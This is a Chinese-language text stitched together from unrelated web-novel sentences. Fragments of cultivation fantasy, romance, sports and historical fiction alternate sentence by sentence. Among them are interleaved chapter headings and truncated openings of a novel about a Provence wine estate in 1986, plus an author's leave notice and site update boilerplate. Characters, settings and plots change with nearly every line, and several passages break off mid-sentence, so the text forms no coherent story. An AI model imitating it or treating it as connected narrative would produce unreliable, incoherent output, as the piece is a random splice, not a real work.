有了孙阳的加入,复仇邪神的注意力瞬间被转移,爱丽丝也趁机把手中的钢条插进了复仇邪神的脑袋里,爱丽丝眼泪留给不停。 网队主打杰弗森和莫宁的高位挡拆,另外三人在外线等机会投三分,迅速反超了比分。 尽管早有准备,但威胁一位几乎得道成仙的人物,果然是有些过于危险了些。 本来,老头子还是想看看克林特·罗演戏来着,但这部电影明显克林特不是主演,可冲着这个自编自导自演,老头子还是看了,结果一看玩,当时就笑的差点儿送医院。 狼人对地精族人的迫害他可是清清楚楚,就这样放这伙狼人离开很不甘心,不过他又怕贸然去报仇会引起狼人对西西棵山谷的注意。 艾比用电脑查看新闻和评论,王俊进了客厅,在杰夫-霍纳塞克身边坐下一起看电视。 做完这一切,他也并没有回房间。在黑暗中就那么看着床上静静躺着的人,许久之后俯身,轻轻的在她的额头上吻了吻。 还是算了,破碎拳拳意加成,每次都要消耗完我的噬天之气,到时候打不死他,自己就遭殃了。 再看一眼,又是犯罪,聂云修剪干净,边角圆润的指甲狠狠刮掉她嘴角边的残余液体,用纸巾包裹手指,上下擦拭,松开,没看,一个精准的弧度扔进垃圾桶。 这楚玲玉的性子,大家心知肚明,就算你现在上去劝慰,也留不得一丝好的。 刚才我分明听见闫妙玲告诉霍继都,说她妈妈来了。可霍继都居然落下这么个事来管我,我心里美滋滋的,很欠揍的问他:“你不是要去见闫妙玲的妈妈?怎么又来管我。”说完眼睛就没来由的湿了。 “叫他们起来吧,吃点东西。”申屠浩龙看着天色已经大亮,让莫绝把雷成他们叫了起来。 他们怎么好以后,就出去了,叫叶青在这里呆着,时辰到了,她们会来叫叶青的,然后叶青就被丢在了房间了。 霍继都抚着我的下巴,温柔的摩挲,眼里闪着和星星一样闪烁的光芒,同时掺杂着些复杂。 第609章 攻击目标没了? 新落成的两期商业街给卢尔马兰带来了新的活力——游客们可玩可逛的选择更多了,即使天色完全黑下来也有地方可去。 商业街上的中餐厅也在开业首天迎来了老板最好的朋友们——路易一家、弗雷迪一家、阿兰一家、远道而来的玛丽.......罗南还邀请了吉拉尼和他的母亲艾米丽,就连缺席了许久的西森奥和乔伊也带着妻 诛仙分身现在也开始用万界王图的力量,和圣王星域的核心进行沟通,最终把石玉老魔和那团虚拟神格融合。 她蹬着七厘米的高跟鞋走到校门口,一辆红色的轿车停在她面前。 “前辈大恩大德,在下只求一卦,希望前辈成全!”唐耀天忙说道。 做为一个理智成熟的成年人,宋清选择无视。低着头抹平沙盆上的字,继续练习,二十多年来的写字习惯,忽然要改还真是很难。 薛英大叫,他瞬间反应了过来,向后一抓,抓住了慕容兰的衣袖。 洛萧嘴角点缀上笑意,心头莫名的一暖,她说不关心他,下午说的那些残忍的话……也许,真的都只是气话。 他的背影是那么孤独无助,让秦清不知怎么接近他,又该如何安慰。 只有紧紧跟在他身后,做个称职的听众,听他发泄出心中的悲伤。 辰枫也知道对方心里面的想法到底是怎么样的?让自己逃跑,这样的话他也可以争取多一点的时间,这样的话,自己逃命的可能性也就越大。想到这里,辰枫只是冷冷的看了对方一眼没有多说什么。 “没想到任务,如此枯燥。”半月了,军舰一直在大海上航行,千劫才发现原来任务远不是自己所想象的那么精彩。 那面光亮的岩壁玉镜两侧,还有两面与它呈九十度夹角的岩壁,这两堵岩壁玉镜虽然也是异常的光滑平整,却没有被光线照亮,里面只是反射出洞穴玉镜壁的影像。 温梓煊甚至没有看清楚人是谁就冲了上去想要揍人家一顿,挥出去的一拳被人轻松的躲过,然后自己的手被牢牢的捉住动弹不得。 犬夜叉凝聚风之能量,同时就在此时此刻风之能量运行起来的那一刹那之间,他也看见了缝隙。 达尔西要安诺选择一颗有了裂纹的蛋,安诺左看右看,选了一颗白色蛋壳上有一道红痕的。 我痛苦的从牙缝里挤出一个字,“滚!”可说完后想起自己现在除了头疼,既没有军用匕首,也没有枪。 “别忘了,我是孩子干爹,我也算一个。”景言说,忽然间他觉得这样才像是一个正常的家庭,反观他那个父亲和七个娘亲,凑到一起只会天翻地覆,还是这里比较有感觉。 “只能灭杀一直猎物,需要很大的判断力与抉择力。”千劫点了点头,新兵营的考核,终于向那么一回事了。 人的年纪大了忘性就大,很多事情她都不记得了,现在阿睿突然这么问,她真的是没什么印象。 温梓容对自己这个未来的妻子没有太多的感觉,只是觉得她人不错,性情大方端庄得体,进退得宜,是一个标准的大家闺秀,未来也应当是一个合格的主母。 “方老板,出来吧,我有话要跟你说!”萧枫一把将他那‘肥’胖的身子给拖了出去。 “盘古开天地混沌,浊气下沉为地,清气上升为天,清为阳,浊为阴,风水之学,也就重这阴阳二气,而且就算是中医或者是算术,也是注重阴阳二气,这里面的说法可是大着呢。”鬼将趁机给诸人讲了讲自己的理论。 第610章 你快死了这条心吧! 好兄弟的归来和卢尔马兰政府的态度给了罗南底气。 既然斯特斯加上下一心,既然希尔维说收葡萄的事情不容有失,那和莫力酒庄的价格拉锯战必须进行到底,而且他跳过了中间的拉扯过程,直接进入了‘最终战役’。 第二天,斯特斯加酒庄率先对外公布了正式的收购信息,上面显示他们将以6法郎/公斤的底价收购葡萄 “有没有想过杀了他会带来什么后果?”队长听到这个名字轻笑一声问我。 这要落到凡尘或界内,肯定会被视为天才地宝,从而惹得诸多武者疯狂抢夺。 这边一犯规,秦焱就知道了,邓肯应该是故意的,看来他也知道了自己可能受伤了,特地犯规让自己下去检查的。 不过在异界的那些恶魔,因为有结界的存在,所以是没法进来的,不过邪气正在不停的吞噬着上下两个结界,看这个样子,不停的磨的话,结界毁灭掉,是很正常的事情。 血四十五十分不解,但是他也清楚,什么该问,什么不该问,所以,他所有的疑惑只能憋在心里。 黯淡而可怕的红光从乖离剑上绽放,对着前方十里之外的亡者一个超过一百二十度的横扫,顿时开出了一片略显凹陷的平原。 “衣阿华,你好我是列克星敦!”太太优雅的伸出了自己的右手。 远处的音乐声渐渐响起,厨房这边也没有了舰娘的身影,大和也没有在厨房内感觉到舰娘的气息。 剧烈颤抖的超大型结界破碎,露出其中阿尔托莉雅、青行灯、狮子和数万人。 苏锦溪心中已经做好了准备,她要和司厉霆在一起,一生一世在一起。 皇宫的守卫,放在三四星势力那算是不错的,可惜他们对上的是慕风云的人。 高进升看高韵珍浑身发抖的样子,也是于心不忍,甚至是觉得傅瑾城今天这话说得太重了。 在鹰王眼中,那些杀手是来杀自己的,被这本来就属于自己教派内的纷争,若苍无霜插手的话,那就有可能把阴月宗也卷了进来。 他们是在江罗的楼内摆了一个大桌,清水山庄过来的人,包括元娘子,还有江老爷子和江林的等人也都在坐陪同。 暗门后面是一走廊,走廊的两边点着蜡烛,足以提供足够的亮度来照亮整个通道。 梦晨瞪了他一下,“那能一样吗?我十六岁就成亲了,你二十六岁才成亲…哈哈哈!”梦晨说到这里,说不下去了,不由的大笑了起来,这样说,好像不好,可是,好想笑。 古昊天的邮件并没有什么收获,刘天琪将最后的希望放在了张佑铭的电子邮箱上。 然而楚南等了半天,都没听到一句惊呼与夸赞,转头一看,发现这老家伙正一脸嫌弃的打量着自己这三件基础法器,那紧皱的眉头,嫌弃的目光,就如同是在看三件废铜烂铁,嘴里还不断嘀咕着。 闵西里不知道怎么才能让青禾的员工也变成这样,但是想着后来也好了很多,至少来说现在青禾整体已经上了轨道,不再需要靠拨款维系了。 很多势力的头领听说这个事情后都想着到岭南去捞好处,于是他们也纷纷派遣人员到幽州去定制设备。 李德想着要弥补一下,人家可是公主是有影响力的,虽然脾气古怪了点,但他如今在朝廷做官不好得罪人。 因为被猎户的冷哼伤了心,温蓝这一路上都没有与他讲话,甚至连自言自语都没有。 第611章 越夜越疯狂 “不知道大家有没有认真看斯特斯加贴出来的告示?”罗南走向教堂门口的告示栏,“我们写的是——斯特斯加将以6法郎/公斤的底价收购葡萄,若满足特定的条件,价格会继续提升。” 农夫们七嘴八舌的说。 “看了的,看了的,这一上午我看了十几遍。” “6法郎是底价,还要看现场检测的葡萄品质.... 木三千跟打铁师兄守在院外,木三千虽然自己也做了不少蠢事,但看人看事还是极为老辣。 就在塔形锥状物跌进岩浆海时,以其跌落点为中心的大片区域忽然剧烈沸腾了起来,气泡越炸越多,范围也迅速扩大,巨大的波纹像是大地的褶子无限蔓延下去。 张皓面沉如水,双眼无神地看着被月光照的白花花的地面,颤巍巍地摸出了一根烟,但打了几次火都没点着,一副失魂落魄的样子。 包间的门打开,一个男子有些衣衫不整地从里面走了出来,而言无道的下属则是满脸堆笑地迎了上去,一副谄媚的讨好着这名男子。 说起华夏古都,大部分人的第一印象都是北平与金陵,最多再联想到长安、洛阳、开封等历史名城。 石惊天刚一进去就看见金斗矮胖的身材,在那呼来唤去的忙个不停,光秃秃脑袋上的汗水显得油亮,木楼里的人忙来忙去穿梭个不停。 大长老衣袖挥舞拂开养山哲当头劈下一剑,却用软剑挡住了“东皇太一”的青钢。 看戏时相中的这个戏子竟然丝毫不给面子,只是碍于城主的身份不好硬抢,来日方长慢慢在想办法。不料,今天这戏子竟然要被人带走了,岂能甘心。 宫城内皇帝李显握着递上来的折子,拇指不停的在上面来回摩挲。 先前,她并不想以伏羲琴伤人,结果,就是被伤,所以,这一次,她不会再手下留情。 “你这畜生!畜生!你还配做人吗!?”于成海胸腔被怒气充满,没等于红沙说完便径直冲到被警察扶坐在沙发上的褚智强,二话不说便是一顿踹,旁边的警察想拦都拦不住。 从这妮子轻而易举的打开了那个光圈的时候,他心里就觉得好纳闷呢。怎么那个神秘光圈还认人么? “不早了,回去吧。”柳絮薇将袋子递给苏妮妮,靳永奕上前拿过来,另一只手牵上苏妮妮的手,往自己旁边拉。 这么多年,虽然一直住在国外,偶尔回来查探母亲的动向才回国。 甚至,刚才,吴大伟喊了叶福贵八声爷爷,叶福贵倒是一高兴,让吴庸多多打赏了吴大伟八百多万。 万菲菲不仅叫来了一整个娱乐圈的天王、天后级人物,就连那些不接商演很多年的顶级明星都被她请来了,大家带着自己熟悉的团队,赶过来为这场婚礼唱唱跳跳,锦上添花。 他漫不经心的语气,简直让苏如松心里的怒气翻了一倍,马上就要炸开一样。 慕君吾瞥了黑线一眼,淡定道:“那是记数用的,表示这幅图记录的是第几代门主的丰绩。 最主要的是,因为电视剧和电影拍摄的频繁,他们也怕演员没有完全出戏,有的时候会耽误另一部电视剧的拍摄,影响效果。 “咱们结婚吧东海,我听说男人一辈子也就能做7200次,不能浪费时间了,我们赶紧结婚,只要多努力,我一定给你留个后。”朱莉说道。 李天启从缝隙中已看出这些人来意不善,显然是为童老而来,不由怒火中烧,不料却被童老拉住。 “禄生,你变了。”叶老夫人看着那只叶禄生用来吃汤圆的碗,突然笑了笑。 “我再呆下去,会有更多的人受伤害!我原就不属于这里,离开也是迟早的事,你的病治好了,我在龙海已没有了再呆下去的理由了!”肖云飞平静地说道。 青龙帮的人面面相觑,不知道要如何回答这样的话,余老大今天还生龙活虎地来这边转了一圈,昨晚还带着兄弟们去了沈家的寿宴上,给了沈三爷好脸‘色’看,今晚怎么就说死了呢?他们还没有收到通知的。 在毒蛇出现时,东方寿就感觉到了危险,在毒蛇出手的瞬间,东方寿是想与毒蛇盘道,可惜毒蛇不想多说,出手招招盛气凌人,带着强大的怒火,吓得东方寿连连后退。 在他们中间还有一位身材魁梧的大汉,此人长得又黑又壮,看起来就跟大力水手似的,眼睛跟个铜铃似的,朝天鼻,四方大嘴,看到林语梦后,哈哈大笑。 墨凡拿出了凌风,看着对面的敌人。心中很是疑惑,以他仙之萃体的感知,竟然没有提前感应到。 此刻的巨剑,还有些模糊,淡紫色巨剑,配着白色的剑芒,使得这把巨剑是那样的神秘古朴。 “四少奶奶是有什么事?”佟霜跟着曹良锦取了药膏,见曹良锦并不打算立刻出去,便问。 校园网上,每天都有无数帖子,这么一张无照片无石锤的帖子能在这么长的时间里就飘红成热帖,回复盖了几百楼,要说没有人顶贴请水军黑人想想都知道不可能。 敖柄出行,重来都是电光火石,来去如风,他也不注意隐蔽,天上地上一般也没人惹他。 “这是,什么妖术?”多隆阿的语气颤抖,可惜没有人能回答他,所有的八旗子弟都已经死在了爆炸中。 要知道,当年的龙家那是何等的辉煌早在一百多年前,那个龙家的最强者只是差一点点就能够把古阳宗彻底剿灭。 “这看台设计的还不错,就算在最后一排,也能看清楚擂台上的情况。”赵俊坐在看台上,不由得赞叹一声。 赵焱唐元两人面面相觑,不成想岛国的形式已经如此恶劣,居然要外逃才能生存。 赵恒、赵临飞、赵俊等都赞同赵旭的决定,毕竟这印章可是刘峰拼命地来的。 第612章 伙计,你有点自恋了啊 爱喝葡萄酒的人应该知道这个常识——无论是哪里的酒窖,储酒容器绝大多数会选择中性橡木桶,只是尺寸大小的区别。 中性桶指经过多次使用后,不再赋予额外风味物质,仅提供物理和微氧化功能的橡木容器。 其核心意义在于——风味归零,功能依存。 这个多次使用的界定通常是3年,3年以内的新桶内部会有 他也未曾想到,当日自己为她疗伤之时,无意间看到的不该看的东西,所瞥见的特殊印记,竟然在数日后重逢之时救了自己一命,这等缘分实在奇妙。 夜曦玥看着他乖巧听话的模样,活像是一只温柔的猫,心中更生出几分喜欢。 莫嵩的速度因为完成了控魂一叠,原本就已经超越了一些蕴魂境中期的速度,此时,已经完全达到了一些蕴魂境后期武修的速度。 见风使舵一脸茫然,却道:“可能是,也可能是因为我长了一张大众脸。”说着,摸了摸自己的脸,却摇了摇头,否定了自己的话语。 也就是说,北齐可能会乱起来,但是这个乱的程度多半会在元庆帝的控制之中并不会太过,更不会动摇北齐国体。 刘德恼怒道,说罢便离开了县衙,临走时给了燕南一个眼神,燕南会心的点点头。 战阵之上,宇流明一柄长剑上下翻飞,划出一道道银色的弧线准确的穿透一个又一个西辽人的脖子;在他的两侧,姚思远和宁青二人一矛一槊更是威力无匹,两人联手之下成片的西辽人身上绽放起一朵朵绚丽的血花。 这一进程,与后来倭国的地缘Z治中心,由关X向关D转移,遵循着同样的地缘规律。 这些银针是最为普通的银针,数量众多,毕竟单单是一个【暴雨梨花针】就需要二百七十枚银针,五个就是一千多枚银针了。 粉碎的残骸与人体尸块撞在安哥的机械铠上,发出巨大且密集的声响,并留下了泼洒般的血渍。 后土已然在此与天罚之眼大战至今,奈何一直无法挣脱而出,后土心下焦急不已,已然过去如此长的时间,不知他还好吗? 离煌俊眼中掠过几分喜色,又试探了一下,依然没有反应,然后,他就放心地将双手搭了上去,运转神力,就要推开石门了。 经过几天的明察暗访,沈薇了解到宣明府大致有四股势力,知府、同知、指挥使明面上和谐相处,实则泾渭分明,各自有一股势力。 “薇姐儿你好生歇着,外祖父明天再来看你。”阮振天慈祥地说道。 许曾则先一步从旁边飞踢一脚将人踹偏了角度,撞在了一旁的墙壁,只听“噗”的一声那名强化者便被镶嵌在了墙壁上。 萧战的能力被沈科长他们见识到,所以为他挡住来自国际刑警总部的压力,因为现在营救林初雪的事,只能落在萧战身上。 老侯爷为自个感伤了一回,像想起什么似的问道:“不是说你们路上还遇到点事吗?怎么回事?”二管家也没有说清楚,什么失踪,什么刺杀的,害得他老担心了。 男人回头看了张天雷一眼,“莫枫”,说完又转头看向了楼下的丧尸。 徐添默默地把这一切尽收眼底,不动声色,依然管自己老老实实排队等领卡。 “日后少侠若有吩咐,林家必然相报!”确定了岳舟的来意,林震南肃然说道。 第613章 我真贱! 费尔南教授与罗南的合作并不局限在人工培育松露实验。 教授来卢尔马兰考察做人工松露培育实验的森林时,看上了罗南在北坡种的那几公顷梅洛葡萄。 正常情况下,‘试验田’项目可以申请技术支持团队,而朱莉特当时犯了个懒,没有给罗南安排。 卡庞特拉的实验中心年初才成立,教授正需要优秀的课题,罗南 半步天帝巅峰的修为,似乎已经预示着他的战斗力之强悍,嫌少有人可以抗衡了。 “大都督,经过这次战斗,警卫团需要休整,请大都督即刻在大军的保护下,返回金华府。”贺锦以一个臣子的语气对张强建议道。 一声清脆的金属交鸣之声响起,看起来霸气无比的荒芜灭斩竟然在剑痴平淡无奇的一剑之下截为了两半,甚至连千变万化化为的长剑也被拦腰斩断。 “万物复苏!”岳缨舞朱唇轻启,一道道绿色的朦胧光晕凝聚成了一道道月牙形的光刃,从苍穹中漫天而下,如一场暴雨一般。 粮草官所指的贼寇,当然是那些系着黄巾又纪律性差的可以的黄巾贼了。 这些考试都集中在行业翘楚上,农活能说出个头头道道,并且在别人的辅助下记录下来,自己还能看懂一些,你就能获得二级的资格认证了。 眼中寒光一闪,岩角龙犀抓着御冰蝶的冰翼,狠狠地向着地面砸下,只见一道淡蓝色的光芒掠出,御冰蝶的冰翼,在地上划出一道长长的裂缝,带出一道烟尘路径,直到嵌入一棵巨树中,方才止住身形。 血雾四溅,六翼天阳枭的翅翼,直接被撕裂了一对,一道道狰狞的血口,布满周身,也就是它,如果换成其它灵兽,早就殒命在了如此恐怖的攻击下。 “我说,你手中的玄阳丹丹方,是偷了我的。”萧阳依旧坐在原地,并没有起身,只是随意的说了一声。 “一个月吧,适当的拖延放缓一些,争取一个月把事情办完,一个月时间我们能做很多事情了。”赵无极说道。 龙傲绝在宗师大会上,夺得头名的画面,上一辈的武者当中,任何宗师到了龙傲绝面前,都不敢自称宗师。 一拳落下,漫天敌人死去一大片,惊慌恐惧的声音在这一刻响彻,血海滔天,伴随着叫声犹如一片修罗地狱。 “那我明天就去,我回去给家人说一声!”唐重一边说话,一边转身离开。 如今对唐重来说,最大的遗憾就是老爹和娘亲的舌头,他们说不成话,这终究是最大的问题。 “只管给她们安排一个住所就行,没有我朋友的指示,她们不会乱来的。”凌寒雪对一剑宗的高层宽慰道。 刘邦是个豪爽之人,初登帝位,嫌秦朝礼仪制度繁琐,干脆全面废止了秦朝的礼仪,大家见面跟瞎混的时候一样嘻嘻哈哈,有说有笑,好不热闹。 说完,颜沐沐便觉得有些不对,她很清晰的看见简莫凡眼里有一抹期待正在慢慢消散。诧异了一会,才反应过来。 夜色苍茫。四周早就熄了灯。地上全是雨水。她顾不上许多。在雨水中摸索了半天。终于找到了两根红线。 尤其是,当连翘的手不经意间触碰到他的肌肤时,他的‘唇’线绷得那叫一个紧实,密不透风。 “要是真的担心我,就好好下去给我准备行李,明日一早我就出发。”“是,少主。”叶疏领命,拉着不情愿的红槿出了门。 请假条 临时被喊出去了,忙到现在才闲下来,请假条发晚了,抱歉抱歉。 明天多更点! 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第614章 小吕贝隆的摩纳哥 西奥多尔生活在教皇新堡,那里的葡萄酒的确远近闻名,但论热闹和繁华程度不及阿维尼翁的十分之一,更比不上热闹的港口城市马赛。 可他打死也想不到,来到‘名不见经传’的卢尔马兰,居然会有一种‘进城了’的感觉。 晚上,罗南为西奥多尔安排了一顿丰盛的中餐,听说夜里是斯特斯加忙碌的高峰时间段,吃完晚饭 童虎推开孤儿院的大门,三四个追打吵闹的孩童从眼前奔跑而过。 “但凭父皇吩咐。”秦明岚笑了笑,还伸手摸了摸在一旁有些呆滞的妹妹的脑袋,以示安抚。 要是想用枯凋藤成为协调师参加协调大赛的话,99%第一轮预赛就被会被刷下来。 身为光元素的化身,初代光元素之神,光神无疑非常痛恨凡人对神明的亵渎,然而如今神界已毁,几位神王彻底死去,她似乎也失去了神明的高傲。 “我出去一趟。”半天没说话的黄宝林,起身将衣服拿起晒到了窗外的护栏上,然后淡淡道。 这下,他都不需要去窥察,就知道秦明昭身边究竟发生了何时。毕竟,现如今的他们,已然是身体同感。哪怕是纸张划伤的痛疼,只要是出现在秦明昭身上的,顾寒渊便一定能感知得到。 经过了好几天的战斗,对于钱副官与凌千户他们的心思,赵高也猜到了一点。 脑海里那场事故不断回放,那一声撕心裂肺的尖叫和火焰烧灼皮肤的疼痛无数次的出现在噩梦中,不断地将记忆翻新,不让时间成为磨平痛苦的良药。 鉴宝节目还在继续,接下来的时间里再也没有现像样的物品,只有一把古代长刀勉强称得上宝物,因为长刀具有蜕变为妖灵的潜力。 整个翻译器的设计不仅实用而且极为美观,看得洛颜和宋明月也想戴一条在脖子上了。 “娘子,你……你真好。”石柱庚突然要差不多一个月不好沾丁清荷这个荤腥,心里虽然郁闷,可是听到丁清荷宽心的话语,他脸上还是有几分高兴的。 半夏拉着她的手,一时间有些犹豫,如果婴垣在这里,她或许可以去求求他,但是现在她也不知道婴垣去了哪里,可怎么帮她呢。 忙到下午时分,清凉殿的宴席终于结束了,仙仆们回来说,各位神君已经谢过殿下,返回各自的宫殿里去了。 林云“主场”作战,加上噬魂之力的补充,此消彼长之下,原本血色球形占据的优势慢慢变成弱势。 他们先看到沈浪的脸色变化,耳朵听到这一句话说完的时候,他们也是微弱差距的先后感觉到了。 回到茶司的时候,其他送茶叶的仙仆们都回来了,他们照旧围坐在那里,嘁嘁喳喳地议论着什么。 荆棘满布的路上,难免会发出一些细微的声响,先前还没被周围人发现,当他碰到一个长满尖刺的树时,衣衫却发出‘噗嗤’的撕裂声。 贸易商铺里面售卖的物品,主要是农场里种植的作物,也有牧场里的副产品,这两大类是最多的。 假如赵楚真的能抢走圣辉仙域的宝藏,这一战,必然会被载入史册。 “杀!”步根田一用日语暴喝一声,猛地向着刚才已经受伤的刘五黑冲了过去,在他看来,已经受伤的刘五黑无疑是最好对付的。 杜峰一直把张天毅送到大门口外面,还说要亲自送张天毅回去。张天毅接连拒绝,自己叫了台出租车走了。 “你们三个去那边,其余人跟我去另一边,不要单独行动,一有发现,立即出声,我们会立即赶过去的。”老鬼沉声道,带着几人朝另一个方向走去。 如果是这样的话,似乎能说得通,可是仔细想象,却又有点蹊跷。就算是有水上世界,甚至是有海洋世界,都是用特别的水源,肯定不会用大清河的河水,所以他们堵住桥洞还差不多,怎么还会通淤呢? “不去,你那是请吃饭呀,整个就是吃辣椒!”,黑狗毫不考虑就拒绝了娇娇的提议,一想起娇娇吃饭那一层红得油亮的辣椒他心里就发怵。 叶冰吟笑了笑,然后他觉得并没有什么事要说了,便与杜子齐和周凌两人做别,领着花柔离开了。 “待会不需要说什么,只要别反驳我就好!”尉迟铭熙附在她耳边低声交代。 “呵呵,你躲在暗中偷袭,这算不上什么本事,我也不占你便宜,今晚就好好跟你单挑一下,你觉得怎么样。”蝮蛇冷声道,对野猪使了一个眼‘色’。 紫云道姑也没有想到阴阳眼居然还有逃遁的功能,这实在是太逆天了。 老婆对朱平槿经常参加的会一贯嗤之以鼻,她说纯粹是听人放屁。朱平槿批评过她几次,她依旧我行我素,死不改悔。 从一定程度上来讲,江宇对王若馨的认可,很大比例是因为姑姑认可王若馨。 地狱岛虽然是一个没有人情的地方,可是李天不同,在地狱岛中还始终保持着对弱势的人的同情之心,李天的狠毒,只是对敌人而言。 “嘉宴,这样多麻烦。不如咱们将就一下,反正也不会怎么样。”秦星烈摸了摸自己的后脑勺。 “你能这么想,我太开心了,宝贝,天下的男人多得是,说不定你现在跟她离婚,还能分到一半的家产,这不好吗?”陈梦雪笑着说道。 那脚步声像踩在她的心脏,他们每走一步,Alex的心就突跳一下。 巨大的雷霆入体,仙草却好似打了个饱嗝,猛烈颤动了一番之后,周身的仙灵之气迅速膨胀,缭绕的雷弧也是跃动不止。状态更好一些的雌草直接从玉盒中飘起,一头扎进万雷之灵的怀抱。 第615章 来‘上课\’了! 9月份,只有在凌晨的那几个小时才会感觉到寒冷,其余的时间和夏天没有分别。 一进入10月份,普罗旺斯的天气立即变成了一位脾气不好的孩子——白天热得需要冰水和游泳池,一旦太阳落到地平线以下,气温就会没有任何下限地低下去,中间一点过渡都不给人准备。 有老人的家庭已经拿出了炉火取暖,其余住户也做 “那我就放心了。”她点了点头,转身走了,看着却是有点神情恍惚。 但是,他如此做,真是深思熟虑的话,显然对东瀛抗击齐人没什么信心,毕竟他距离战场很近,鹿岛之战,其同父异母兄长源满仲如何惨败的,他应该听到了传闻,而那些传闻,比实际的千叶栅一役,又夸张了十倍。 思维网络为了让他更好的理解省去了无数环节,人类思想很有自知之明的表示认同。开什么玩笑,那个符号的演化现有的计算能力,至少需要几百亿年才能弄明白结果。 蒙卓族长挠了挠头,自己还真是没有注意过这个,有没有节节树林? 然后他就被捆着绑到了宋北云的面前,跪在那让两柄刀架在他脖子上。 看见他们都已经进入到备战的状态,昆卡也急急忙忙的摸出自己的手枪,紧张的朝着外面看去,看看到底人在什么地方! 一次硬憾的过程中,被万血剑的黄色剑芒破开银色光幕,在身上留下一道深深的伤口,流出的鲜血中夹杂着一丝银色的血迹。 季暖也笑着点头:“还真是被您猜到了,红山巫医带着很多的兽人来找我呢,我说要来找古木部落,还跟他们说了大灾难的事情。 “这不是死亡,只是被冰封,冰神雪殿关闭之时,你自会被送出去。”白衣神使微笑着道了一声,他的声音慈祥,语气平和,有着抚平情绪的力量。 面对儿子的质问,金姐也只好使劲摇头示意自己也不知道是怎么回事。 如果把这玩意拿出去拍卖,绝对能刷新华夏古玩拍卖历史的新纪录。 至于,这样会不会太残忍,太残暴,开什么玩笑呢,要不是叶晨回来的及时,而且有手段应付被八卦阵改造的恶灵大军,叶晨的轮回仙城百分百会被恶灵大军直接摧毁,甚至叶晨的手下也都会跟着遭殃。 “怎么了?刚才不是见过面了么,有什么不对吗?”全智贤奇怪道。 马榕还处在想象中,却完全没有看到林枫眼中根本没有任何欣赏或者祝福她的意思。 而且他们发现陈烈这里的米很香很香,完全征服了他们的味觉,上一次在这里吃过一次就无法忘记那味道。 有鉴于此,当时的美和子因为刚到京都府对事件两眼一抹黑,以及为了自身安全着想,便放弃了单枪匹马去追捕凶手的念头,不过尽管如此,她也已经很为警视厅的同僚们长脸了。 “你现在这不是在问我们问题,你这是要我们屈服于你的淫威想之下,你这是要我们昧心说相信你,你就是个魔鬼。“罗成象虽然很歇斯底里,头脑还是比较清醒的。 接下来,当云风才刚刚跟着走进客厅,便只听妃英理撂下了这么一句带有期望的曖昧提议。 “还有一睡成神术?”天火也是不曾听闻,瞅了许禄灵一眼,却见许禄眨了眨眼。 夏尘身形非常灵敏的闪避开来,手中的树枝宛如利剑一般向着前方击向前方的金蚕击去。 第616章 或许,我也可以帮助您? 罗南心中一喜。 有戏! 随即他用简练的语言把与罗德里格有可能的合作方向和内容讲述了一番,期间并没有特意美化‘公主的童话世界’,只是将其描述为一套颠覆性的艺术主题。 阿斯特丽德听得很有耐心,中间未曾打断过一次,安安静静地喝酒。 待罗南讲完了所有,停下喝水,她才没有任何情绪的说了 是的,给第一医院大院长放假,算是一种奖励,这种离谱的奖励,还是路易西斯自己弄出来的。 公孙龙冷笑不跌,他可不觉得无耻一点有什么不好,只要将自己看上的天才招入门下值了。 东方玲珑笑容满面,虽然早就听说了凤凰秘境的效益之大,堪称奇迹,但眼见为实,耳听为虚! 那只手直接捏住了剑锋,让卓青盈悬在空中,然后随手一丢,卓青盈就化为一道黑影,重重的砸进地面。 作为真正意义上的顶尖造物神师,秦武的能力绝对是非常恐怖的,就算现在的只是分身,只能从本体那里继承,可他重塑箫彤还是非常轻松,以至于没有消耗多少时间就做到了。 自从上次和孟夕然聊过之后,苏星辰便刻意暗示她模仿苏星月,为的就是挑起秦越寒的情绪。 “后天就是紫霞学宫开宫典礼,我们一起走吧!”东方博望笑着说道。 “你让我怎么跟着你?”刘梅冷笑道,她觉得这个峰哥有点不知好歹。 铁壶儿看着有些落寞的凤凌霄,一时间也不知道说些什么,毕竟,作为一城之主,他确实过失很大。 他凑近孟夕然,温热的气息喷洒在她的脸上,让她的呼吸都为之停滞了一下。 几乎是巴恩斯起跳的同时,王峰便紧跟着起跳,手臂直接横在巴恩斯面前。 “其实,外公是怀疑烨影并不是睡着了,它应该是被黑森林里面的凤族先祖的灵魂伤到了,你把它抱出来让外公看看,外公或许有办法让它醒过来。”石霄道。 虽然海格手里的是一枚龙蛋,而且约翰也不可能真的把它扒皮抽筋。 要知道就算是他,彻底掌握【大脑封闭术】可也是花费了好几年的时间。 于是他当机立断,拍了拍墨白的肩膀,转身就朝出口跑,留下墨白一人,独自对着空间裂缝沉默不语。 只是王峰不知道,韩国男篮首发中,有一个面色发苦,脸上带着忐忑表情的中年人。 还有庞顿,不过庞顿之前有看到过他的影子,就是王钊手慢,没有抢到,有些可惜。 毕竟这只是一场娱乐赛而已,大家都是朋友,根本就不会太认真打的。 就像FNC上一场比赛那样,早早的选择换线,到最后虎头蛇尾,最后赔了夫人又折兵。 鱼住赶忙转身并抱头,依旧抱着他的宫城倒了大霉,有幸成为鱼住的肉盾,为他承受了大部分篮板碎片的冲击。 看着一辆货车行驶进来,一股刺鼻的气味也随之而来,蒋一南站在风中凌乱,怪不得王姐要让自己带点纸,这味道属实有些重了。 许多决议和提议都是他来提出,虽然说是投票表决,但是他还是得费不少嘴皮子。 那前凸后翘的裙摆,只有她这样的身材才能够完完全全的衬托得起。 刘军和许子言走后,蒋一南从空间里拿出程卓买的饼干和一些奶糖,把东西放在篮子里,拎着篮子朝外面走去。 第617章 梅洛入土 罗南和桑德琳聊了整整一个下午,围绕如何让‘公主的童话世界’与卢尔马兰手工艺合作社结合到一起所碰撞出来的灵感火花,让两个人同时认为——这将是卢尔马兰手工艺合作社发展历史上里程碑式的一天。 不止是桑德琳一开始提到的vip活动,他们还针对编织家具的款式、编织家具的系列名称、编织制品的品类拓展,甚至是 陈姨很显然也看到了缓缓从房间里头出来的莫靖远,不知道该如何是好,夹在中间的她也不好做,得罪了哪个都不行。 若是这些话从别人嘴里说出来,对秦韶根本不会有半点影响,可偏生是从叶倾城的嘴里说出来的。 姚观察听了点点头,便同章秋谷一同坐了骡车,直到绳匠胡同姚观察公馆来。 我握住手机,重复按着他的电话号码,但始终都没有拨打过去,因为我不敢。 “紫妍,这段时间,我们一直待在这个地方吗?“叶空开口问道。 上海县接了新衙门的公事,只把她暂时收押,也没有问过一堂。凑巧辛修甫写信到县给她说情,上海县也乐得做个现成人情,立刻叫她取保。 